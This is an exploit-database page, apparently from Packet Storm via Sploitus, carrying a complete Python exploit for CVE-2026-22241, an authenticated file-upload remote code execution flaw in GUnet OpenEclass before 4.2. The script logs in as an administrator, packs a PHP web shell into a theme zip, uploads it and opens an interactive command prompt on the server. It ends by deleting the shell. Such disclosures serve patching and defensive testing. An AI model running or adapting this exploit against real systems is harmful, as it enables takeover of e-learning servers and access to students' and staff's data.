Share
## https://sploitus.com/exploit?id=PACKETSTORM:220380
# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE) 
    # Date: 2026-01-08
    # Exploit Author: Ashif Iqubal
    # Vendor Homepage: https://www.openeclass.org/
    # Software Link: https://download.openeclass.org/files/4.1/
    # Version: < 4.2
    # Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)
    # CVE: CVE-2026-22241
    
    import os
    import sys
    import zipfile
    import requests
    import argparse
    from bs4 import BeautifulSoup
    from argparse import RawTextHelpFormatter
    
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RESET = '\033[0m'
    ORANGE = '\033[38;5;208m'
    
    MALICIOUS_PAYLOAD = """\
    <?php
    
    if(isset($_REQUEST['cmd'])){
            $cmd = ($_REQUEST['cmd']);
            system($cmd);
            die;
    }
    
    ?>
    """
    
    def banner():
        print(f'''{YELLOW}
        ┏━╸╻ ╻┏━╸   ┏━┓┏━┓┏━┓┏━┓   ┏━┓┏━┓┏━┓╻ β•»β•Ίβ”“ 
        ┃  ┃┏┛┣╸ ╺━╸┏━┛┃┃┃┏━┛┣━┓╺━╸┏━┛┏━┛┏━┛┗━┫ ┃ 
        ┗━╸┗┛ ┗━╸   ┗━╸┗━┛┗━╸┗━┛   ┗━╸┗━╸┗━╸  β•Ήβ•Ίβ”»β•Έ
        {RED}                        Author: @Ashif1337 {RESET}''')
    
    def clean_server(openeclass,filename):
        print(f"{ORANGE}[+] Removing Backd00r...{RESET}")
        # Remove the uploaded files
        requests.get(f"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}")
        print(f"{GREEN}[+] Server cleaned successfully!{RESET}")
    
    
    def execute_command(openeclass, filename):
        while True:
            # Prompt for user input with "eclass"
            cmd = input(f"{RED}[{YELLOW}eClass{RED}]~> {RESET}")
    
            # Check if the command is 'quit', then break the loop
            if cmd.lower() == "quit":
                clean_server(openeclass,filename)
                print(f"{ORANGE}[+] Exiting...{RESET}")
                sys.exit()
    
            # Construct the URL with the user-provided command
            url = f"{openeclass}/courses/theme_data/{filename}?cmd={cmd}"
    
            # Execute the GET request
            try:
                response = requests.get(url)
    
                # Check if the request was successful
                if response.status_code == 200:
                    # Print the response text
                    print(f"{GREEN}{response.text}{RESET}")
    
            except requests.exceptions.RequestException as e:
                # Print any error that occurs during the request
                print(f"{RED}An error occurred: {e}{RESET}")
    
    
    def upload_web_shell(openeclass, username, password):
        login_url = f'{openeclass}/?login_page=1'
        login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'
    
        # Login credentials
        payload = {
            'next': '/main/portfolio.php',
            'uname': f'{username}',
            'pass': f'{password}',
            'submit': 'Enter'
        }
    
        headers = {
            'Referer': login_page_url,
        }
    
        # Use a session to ensure cookies are handled correctly
        with requests.Session() as session:
            # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
            session.get(login_page_url)
    
            # Post the login credentials
            response = session.post(login_url, headers=headers, data=payload)
            
    
            # Create a zip file containing the malicious payload
            zip_file_path = 'poc.zip'
            with zipfile.ZipFile(zip_file_path, 'w') as zipf:
                zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())
    
            # Get token
            token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False)
    
            if token_url.status_code != 200 : 
                print(f"{RED}[X] Invalid Administrator Password!{RESET}")
                print(f"{RED}[X] Exiting...{RESET}")
                return False
            
            upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name="token"]')['value']
            
            # Upload the zip file
            url = f'{openeclass}/modules/admin/theme_options.php'
            files = {
                'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'),
                'import': (None, ''),
                'token': (None, upload_token)
            }
            response = session.post(url, files=files)
    
            # Clean up the poc zip file
            os.remove(zip_file_path)
    
            # Check if the upload was successful
            if response.status_code == 200:
                print(f"{GREEN}[+] Payload uploaded successfully!{RESET}")
                print(f"{GREEN}[+] Type 'quit' to exit web shell!{RESET}")
                return True
            else:
                print(f"{RED}[X] Failed to upload payload.{RESET}")
                print(f"{RED}[X] Exiting...{RESET}")
                return False
    
    
    
    
    def main():
        parser = argparse.ArgumentParser(description="Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword",formatter_class=RawTextHelpFormatter)
        parser.add_argument('-t', '--eclassUrl', required=True, help="Target URL of the Open eClass.")
        parser.add_argument('-u', '--username', required=True, help="Admin Username for login.")
        parser.add_argument('-p', '--password', required=True, help="Admin Password for login.")
        args = parser.parse_args()
    
        banner()
        # Running the main login and execute command function
        if upload_web_shell(args.eclassUrl, args.username, args.password):
            execute_command(args.eclassUrl, 'evil.php')
    
    if __name__ == "__main__":
        main()